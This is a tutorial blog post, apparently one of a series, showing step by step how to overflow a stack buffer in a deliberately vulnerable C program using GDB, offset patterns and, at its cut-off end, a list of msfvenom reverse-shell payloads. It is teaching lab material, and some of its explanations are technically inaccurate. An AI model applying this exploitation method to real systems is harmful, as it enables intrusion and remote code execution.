If you have no experience of Python, C/C++ or Bash, I recommend you check my previous post. Moreover, you will also learn about some basics of buffer-overflow and understand the attack that we are going to create today.
Let’s get started with our 1st overflow. I will try to keep things as simple as possible. The first thing we need to do is disable Address Space Layout Randomisation (ASLR ). We know that when a program is executed all of its data gets transferred into the memory. ASLR is a security feature which randomizes the data stored into the memory. This makes it difficult for us to create an overflow in our targeted memory space. ASLR can be disabled by executing the following command in terminal:
$ echo 0 > /proc/sys/kernel/randomize_va_space
You may have to execute this command as `super user` when you are using any other distro of linux apart from ParrotOS or Kali.
#include<stdio.h> #include<string.h> int main(int argc, char const *argv[]) { char buff[500]; strcpy(buff, argv[1]); printf("%s\n",buff); return 0; }
So, here is our target program, we have already discussed in previous section how this program works so we won’t discuss that again. For compilation of this program we will use GNU Compiler Collection (GCC). Make a file using nano, type in the above program and store it giving it the name buf.c. We now need to compile it and generate the executable binary. So, we use the following command to do that.
$ gcc -fno-stack-protector -z execstack -o buf.exe
As you can see, we are using 3 parameters in this command.
-fno-stack-protector
– This disables all of the stack protections
-z execstack
– This makes the stack executable
-0 buf.exe
– Specifies the name of the binary after compilation.
Now, when you execute ls command, you should see 2 files in your directory.
$ ls buf.c buf.exe
Note, that the executable file will be green coloured. This means that the file is executable. Now, let us try executing this file.
$ ./buf.exe test test
Let’s try one more time. But this time, I will use a long string
$ ./buf.exe "I love creating Bufferoverflow and I am going to crack this application. Beaware of me!" I love creating Bufferoverflow and I am going to crack this application. Beaware of me!
Hmm, we know that the stack space is 500 bytes long. So inorder to create a bufferoverflow our text should be at least 500 bytes long.
Now, I’ll use python to generate a 500 bytes long string.
$ python -c ‘print “A”*500’ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
So, we get answer the above output. Now, I know that the command line parameter number 2 (ie. argv[1]
but we will refer it as 1st parameter) is passed as input, so I am going to invoke a shell at the 1st parameter and execute the above command in that shell.
In the above command, just as I said I invoked a shell using $( )
in the 1st parameter and executed the above python command. Since 500 is the buffer size, it was ought to be understood that a string of size 500 should be acceptable. Let us try and make the size of String 600.
$ ./buf.exe $(python -c 'print "A"*600') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped)
Bingo! It raised a segmentation fault. A segmentation fault is a type of error which occurs when a program attempts to access a memory space which does not belong to it. Or has some illegal sequence of characters. Either way, it should not execute it. The segmentation fault is exactly what we were looking for. This error increases the probability of program getting exploited.
Let’s try and explore this program further using GDB. GDB is a linux command-line debugger. It is usually used for reverse engineering and bufferoverflow. It helps to understand how a program is actually running inside the computer’s memory. Today, we will be using it specifically for Debugging our program and creating an overflow.
Getting Started with GDB
Fire up GDB using the following command:
$ gdb buf.exe GNU gdb (Ubuntu 8.0.1-0ubuntu1) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from buf.exe...(no debugging symbols found)...done.
This is the command-line interface of GDB (if you don’t install any external plugins in it.) I know, in previous sections I had mentioned that I will be using ParrotOS for this demonstration but I have personalized it a little because of which the interface has slightly changed. I wanted this to be simple for everyone that is why I have switched to Ubuntu 17 machine. But, keep in mind that unless you are using 64-bit machine, this doesn’t matter much as for most of them the underlying stack structure is the same. Now let’s execute our program here inside GDB environment using the following command.
(gdb) run $(python -c 'print "A"*600') Starting program: /home/milind/bufferoverflow/buf.exe $(python -c 'print "A"*600') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x00005555555546d7 in main () (gdb)
The input (AAAAA…..)
is called payload. Since we have successfully raised a segmentation fault, it is safe to assume for now that size of our payload is less than 600 bytes. But, this is not the exact address. Our payload is successfully overwriting the return address but it’s no good to us for now. We need to exactly pin point the memory location where our program is going.
Inside the
Program received signal SIGSEGV, Segmentation fault. 0x00005555555546d7 in main ()
This statement is important to us, as the address mentioned in this 0x00005555555546d7
is pointing to the location where overflow has affected the regular flow of our program. Let’s disassemble the main()
function using the commanddisass main()
But, before that execute the following command
(gdb) set disassembly-flavor intel
The above statement converts the syntax of disassembly from AT&T to intel. AT&T syntax is just a little complicated (the closer term would be “noisy”) and on the other hand, intel syntax is much more comfortable, but again it’s just a matter of preference. For this demonstration, I would be using intel syntax. Execute the following command:
(gdb) disassemble main Dump of assembler code for function main: 0x000055555555468a <+0>: push rbp 0x000055555555468b <+1>: mov rbp,rsp 0x000055555555468e <+4>: sub rsp,0x210 0x0000555555554695 <+11>: mov DWORD PTR [rbp-0x204],edi 0x000055555555469b <+17>: mov QWORD PTR [rbp-0x210],rsi 0x00005555555546a2 <+24>: mov rax,QWORD PTR [rbp-0x210] 0x00005555555546a9 <+31>: add rax,0x8 0x00005555555546ad <+35>: mov rdx,QWORD PTR [rax] 0x00005555555546b0 <+38>: lea rax,[rbp-0x200] 0x00005555555546b7 <+45>: mov rsi,rdx 0x00005555555546ba <+48>: mov rdi,rax 0x00005555555546bd <+51>: call 0x555555554550 <strcpy@plt> 0x00005555555546c2 <+56>: lea rax,[rbp-0x200] 0x00005555555546c9 <+63>: mov rdi,rax 0x00005555555546cc <+66>: call 0x555555554560 <puts@plt> 0x00005555555546d1 <+71>: mov eax,0x0 0x00005555555546d6 <+76>: leave 0x00005555555546d7 <+77>: ret End of assembler dump. (gdb)
Here is our program stored inside the memory. The first column is showing the address where the program instructions are stored inside the memory. After that, we have the relative addresses which have been referred from the location where the main() function started executing followed by the mnemonic instructions.
Let’s try to understand this a little bit. At the line number main+4, we see sub rsp, 0x210. When we convert this address 0x210 into decimal, we get 528. This means that here we are trying to allocate 528 bytes inside the stack to store something.
Question: Why do you think the machine code is allocating 528 bytes when we have allocated only 500 bytes inside our c program?
After a little bit research I found that the address allocation is always done in the power of 2^n. Let’s say you want to declare a stack space of 9 bytes. So, when you declare it usingchar a[9]
, it actually declares 16 bytes as the smallest number in the power of n which can accommodate 9 bytes is 16. Similarly, if one want’s to store 500 bytes, the compiler will allocate 512 bytes (2^9). This feature is called Stack Alignment. But, 528 – 512 = 16, therefore, we still have 16 bytes remaining. Now, what are these 16 bytes used for, we shall discuss this as we move forward.
The next statement that should take our interest is the following line:
0x00005555555546bd <+51>: call 0x555555554550 <strcpy@plt>
As it can be seen, we are calling strcpy()
function which is located at the memory location 0x555555554550
. This is our vulnerable function that is going to overwrite all our memory addresses.
0x00005555555546cc <+66>: call 0x555555554560 <puts@plt>
Again in this instruction, we are attempting to puts()
0x555555554560
0x00005555555546d7 <+77>: ret
And at the end, this statement is going to return the control back to the operating system. The peculiarity of this statement is that it pop’s the value from the top of the stack and then jumps to that memory location which it has popped from the top of the stack. As you might have noticed, the segmentation fault which was generated previously was pointing to location in memory.
Program received signal SIGSEGV, Segmentation fault. 0x00005555555546d7 in main ()
It was this same memory location from where our ret
instruction was being executed.
Understanding the flow and components of program
Now, we will set some breakpoints inside the main() assembly code which will allow us to look at the memory structure when the program is running. We will create 3 break points.
- At the beginning of
main()
function, type the following command inside GDB.
(gdb) break main Breakpoint 1 at 0x55555555468e
2. After the strcpy() function by typing the the below command.
(gdb) break * main+63 Breakpoint 2 at 0x5555555546c9
3. At the ret statement.
(gdb) break * main+77 Breakpoint 3 at 0x5555555546d7
Again, let’s run the program using
(gdb) run $(python -c 'print "A"*600') Starting program: /home/milind/bufferoverflow/buf.exe $(python -c 'print "A"*600') Breakpoint 1, 0x000055555555468e in main () (gdb) disassemble main Dump of assembler code for function main: 0x000055555555468a <+0>: push rbp 0x000055555555468b <+1>: mov rbp,rsp => 0x000055555555468e <+4>: sub rsp,0x210 0x0000555555554695 <+11>: mov DWORD PTR [rbp-0x204],edi 0x000055555555469b <+17>: mov QWORD PTR [rbp-0x210],rsi 0x00005555555546a2 <+24>: mov rax,QWORD PTR [rbp-0x210] 0x00005555555546a9 <+31>: add rax,0x8 0x00005555555546ad <+35>: mov rdx,QWORD PTR [rax] 0x00005555555546b0 <+38>: lea rax,[rbp-0x200] 0x00005555555546b7 <+45>: mov rsi,rdx 0x00005555555546ba <+48>: mov rdi,rax 0x00005555555546bd <+51>: call 0x555555554550 <strcpy@plt> 0x00005555555546c2 <+56>: lea rax,[rbp-0x200] 0x00005555555546c9 <+63>: mov rdi,rax 0x00005555555546cc <+66>: call 0x555555554560 <puts@plt> 0x00005555555546d1 <+71>: mov eax,0x0 0x00005555555546d6 <+76>: leave 0x00005555555546d7 <+77>: ret End of assembler dump.
As we can see that the program has reached =>
symbol. In this <main+4>
. We have seen this previously that we are allocating space for our main program.
You can use the command “disassemble main” to check the instruction set. Use the following command to check the status of all the registers of the machine.
(gdb) info registers rax 0x55555555468a 93824992233098 rbx 0x0 0 rcx 0x0 0 rdx 0x7fffffffdf90 140737488347024 rsi 0x7fffffffdf78 140737488347000 rdi 0x2 2 rbp 0x7fffffffde90 0x7fffffffde90 rsp 0x7fffffffde90 0x7fffffffde90 r8 0x555555554750 93824992233296 r9 0x7ffff7de5ee0 140737351933664 r10 0x0 0 r11 0x0 0 r12 0x555555554580 93824992232832 r13 0x7fffffffdf70 140737488346992 r14 0x0 0 r15 0x0 0 rip 0x55555555468e 0x55555555468e <main+4> eflags 0x246 [ PF ZF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
These are all the registers inside your machine. It needs to be understood that all these register’s values keeps on changing as we proceed by each instruction. There are a few registers that are important to us.
rbp – This is the Base Pointer. It basically points to it’s previous location inside the stack whenthe the call was transferred to the child function (in this case it is the main() function and calling function is the Operating system)rsp – This is the Stack Pointer. The stack pointer always points to the top of the stack. It is used to push and pop the items into and from the stack respectively.- rip – This is the index pointer (or as most of us know it by the name of Program Counter). Program counter iterates through our program and executes instructions. It is pointing to the current instruction which is to be executed next. Our main motive of creating a
bufferoveflow is to gain control of this rip. So that we can make it point to any location we want inside the memory. Ofcourse , the other registers are also important to us but for this demonstration, we don’t need to understand what they are and how they function.
Let’s continue execution of out program and jump of to next break point using “c”,
(gdb) c Continuing. Breakpoint 2, 0x00005555555546c9 in main () (gdb) disassemble main Dump of assembler code for function main: 0x000055555555468a <+0>: push rbp 0x000055555555468b <+1>: mov rbp,rsp 0x000055555555468e <+4>: sub rsp,0x210 0x0000555555554695 <+11>: mov DWORD PTR [rbp-0x204],edi 0x000055555555469b <+17>: mov QWORD PTR [rbp-0x210],rsi 0x00005555555546a2 <+24>: mov rax,QWORD PTR [rbp-0x210] 0x00005555555546a9 <+31>: add rax,0x8 0x00005555555546ad <+35>: mov rdx,QWORD PTR [rax] 0x00005555555546b0 <+38>: lea rax,[rbp-0x200] 0x00005555555546b7 <+45>: mov rsi,rdx 0x00005555555546ba <+48>: mov rdi,rax 0x00005555555546bd <+51>: call 0x555555554550 <strcpy@plt> 0x00005555555546c2 <+56>: lea rax,[rbp-0x200] => 0x00005555555546c9 <+63>: mov rdi,rax 0x00005555555546cc <+66>: call 0x555555554560 <puts@plt> 0x00005555555546d1 <+71>: mov eax,0x0 0x00005555555546d6 <+76>: leave 0x00005555555546d7 <+77>: ret End of assembler dump.
Now, we have reached instruction number <main+63>
. This means that instruction number <main+51>
should also be executed by now. This is where we should observe memory overflow. Let’s check that using the following command.
(gdb) x/100x $rsp 0x7fffffffdc80: 0xffffdf78 0x00007fff 0x01958ac0 0x00000002 0x7fffffffdc90: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdca0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdcb0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdcc0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdcd0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdce0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdcf0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdd00: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdd10: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdd20: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdd30: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdd40: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdd50: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdd60: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdd70: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdd80: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdd90: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdda0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffddb0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffddc0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffddd0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdde0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffddf0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffde00: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb)
You can check x $<register_name>
command. If we want to dump a range of values, we use “x/<length>x $<register_name>
”. Here we wanted to check the contents of the stack and so we used “x/100x $rsp
”.If we observe most of the stack is filled with “41”. We know that computer understands instruction in binary, hex or oct. Now all the “41” 0x
” which means that all these instructions are in hexadecimal. Check out the x/100x $rsp
” confirms that we are going on the right track. The location of 0x7fffffffdc80
” which is represented by the first memory address when we typed the above command. Let’s continue with the execution and reach our last breakpoint which is our last instruction.
(gdb) c Continuing. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 3, 0x00005555555546d7 in main () (gdb) info registers rax 0x0 0 rbx 0x0 0 rcx 0x7ffff7af90c4 140737348866244 rdx 0x7ffff7dd1880 140737351850112 rsi 0x555555756260 93824994337376 rdi 0x1 1 rbp 0x4141414141414141 0x4141414141414141 rsp 0x7fffffffde98 0x7fffffffde98 r8 0x0 0 r9 0x555555756260 93824994337376 r10 0xffffffffffffffb0 -80 r11 0x246 582 r12 0x555555554580 93824992232832 r13 0x7fffffffdf70 140737488346992 r14 0x0 0 r15 0x0 0 rip 0x5555555546d7 0x5555555546d7 <main+77> eflags 0x202 [ IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb)
I typed info registers to look at the values of our rbp
is overwritten, which means that once the execution of 0x4141414141414141
. Our rip is pointing to the last 0x5555555546d7 <main+77>
rbp
rsp
(gdb) x $rsp 0x7fffffffde98: 0x41414141
So, we have some A’s in the top of the stack and we are executing ret
instruction 0x414141414141
We hit “c” and we get a segmentation fault.
(gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x00005555555546d7 in main ()
Well, that was to be expected. But in this section, we got to see how the program is being executed inside the memory.
Calculating the offset for targeted return address
In the last step, we checked the value rsp
0x414141
ret
instruction. For now, this is of absolutely no use to us. but, if we can somehow get the location of these A’s, we probably can substitute a legitimate address and make the program counter point to our address. But it is really difficult to count the number of A’s here. We need to generate a non-repetitive pattern which will fill up the stack and then we can calculate the offset very easily. For that, open up a new terminal and execute the following command.
git clone "https://github.com/ichung/pattern.git" ~/bufferoverflow/buff
You might want to install git if you are using ubuntu, it is preinstalled in Mac, kali and ParrotOS.You should see output, something like this.
$ git clone "https://github.com/ichung/pattern.git" ~/bufferoverflow/buff Cloning into '/home/milind/bufferoverflow/buff'... remote: Counting objects: 32, done. remote: Total 32 (delta 0), reused 0 (delta 0), pack-reused 32 Unpacking objects: 100% (32/32), done.
After this go the location where you have cloned the repository and execute “pattern_create.py”. In my case the directory is ~/bufferoverflow/buff. Type ls and you should see your directory structure to be something like this.
$ ls COPYING pattern_create.py pattern_offset.py pattern.py README.md
Execute the following command in the terminal
$ ./pattern_create.py 600 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
It should output a pattern something like this. Copy this pattern and return to your previous shell where we were executing gdb.
There, execute the following command,
(gdb) run“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0 Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9” Starting program: /home/milind/bufferoverflow/buf.exe "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9" Breakpoint 1, 0x000055555555468e in main ()
This way, we are trying to pass then entire 600 Bytes long string as our 1st parameter. And we hit the breakpoint 1.
Type c, and we’ll hit the breakpoint 2
(gdb) c Continuing. Breakpoint 2, 0x00005555555546c9 in main ()
Again, we Type c again and we should hit the breakpoint 3. This is the place where ret instruction is getting executed, you can confirm this by typing,
(gdb) disassemble main Dump of assembler code for function main: 0x000055555555468a <+0>: push rbp 0x000055555555468b <+1>: mov rbp,rsp 0x000055555555468e <+4>: sub rsp,0x210 0x0000555555554695 <+11>: mov DWORD PTR [rbp-0x204],edi 0x000055555555469b <+17>: mov QWORD PTR [rbp-0x210],rsi 0x00005555555546a2 <+24>: mov rax,QWORD PTR [rbp-0x210] 0x00005555555546a9 <+31>: add rax,0x8 0x00005555555546ad <+35>: mov rdx,QWORD PTR [rax] 0x00005555555546b0 <+38>: lea rax,[rbp-0x200] 0x00005555555546b7 <+45>: mov rsi,rdx 0x00005555555546ba <+48>: mov rdi,rax 0x00005555555546bd <+51>: call 0x555555554550 <strcpy@plt> 0x00005555555546c2 <+56>: lea rax,[rbp-0x200] 0x00005555555546c9 <+63>: mov rdi,rax 0x00005555555546cc <+66>: call 0x555555554560 <puts@plt> 0x00005555555546d1 <+71>: mov eax,0x0 0x00005555555546d6 <+76>: leave => 0x00005555555546d7 <+77>: ret End of assembler dump.
Now, type
(gdb) x $rsp 0x7fffffffde98: 0x72413372
This command tells us what is on the top of the stack. We get our value 0x72413372
. Go to the other terminal and execute the following command,
$ ./pattern_offset.py 0x72413372 -l 600 520
We used the the script pattern_offset.py and passed 1st parameter as our address 0x72413372
. This might be different depending upon the operating system and architecture. We get the output 520. This means that the address, before it is called has the offset of 520 characters. This also means that when we allocated 500 bytes of memory we instead got 520 bytes. So, here is where we get our answer of those 16 unknown stack allocated bytes which we were getting in our previous section “Getting started with GDB”.
From 520 Bytes, our return address starts as we just checked form pattern_offset.py
info registers
inside gdb and check the value of the base pointer. We take pattern_offset.py
Here, we see that the value of
Why is that so? It’s simple, the 2 bytes are used for padding in each of the pointers (for now). Their default value is 0x00
.Even after return address, we have 2 bytes for padding. Now, there is also a reason for that but I’ll leave that
So, getting back to the point, we have our offset now and let’s start generating our payload.
Testing and deploying payload
We know that inorder to reach return address, we have to cover up distance of 520 bytes. Therefore, let’s modify our python command as follows
(gdb) run $(python -c 'print "A"*520 + "B"*6') Starting program: /home/milind/bufferoverflow/buf.exe $(python -c 'print "A"*520 + "B"*6') Breakpoint 1, 0x000055555555468e in main () (gdb) c Continuing. Breakpoint 2, 0x00005555555546c9 in main () (gdb) c Continuing. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB Breakpoint 3, 0x00005555555546d7 in main ()
Here now, when we try to see the value at the top of the stack, we can clearly see that the value has now changed to 0x42424242
instead of 0x41414141
which we had in our previous case.
(gdb) x $rsp 0x7fffffffded8: 0x42424242
This means that our offset is correct and the only thing now yet to be done is to pass a valid address of our malicious code instead of “B”. So, let us first try to generate our malicious code. For this, we will use one of the tools available in Kali
$ msfvenom -l payloads | grep "linux/x64" linux/x64/exec Execute an arbitrary command linux/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection linux/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker linux/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless) linux/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless) linux/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless) linux/x64/shell/bind_tcp Spawn a command shell (staged). Listen for a connection linux/x64/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker linux/x64/shell_bind_tcp Listen for a connection and spawn a command shell linux/x64/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'. linux/x64/shell_find_port Spawn a shell on an established connection 